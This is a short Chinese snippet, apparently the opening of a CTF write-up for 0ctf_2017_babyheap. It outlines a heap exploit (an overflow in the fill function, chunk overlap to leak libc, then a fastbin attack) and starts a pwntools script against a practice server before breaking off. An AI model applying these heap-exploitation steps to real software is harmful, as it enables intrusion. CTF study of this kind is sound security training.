【pwn】 0ctf_2017_babyheap

例行检查 保护全开。 分析程序。在fill函数中存在溢出，通overlap，泄露libc。而后fastbin attack。node from pwn import * io=remote('node3.buuoj.cn',27627) libc=ELF('./libc-2.23.so') def add(size): io.recvuntil('Command: ') io.

>>阅读原文<<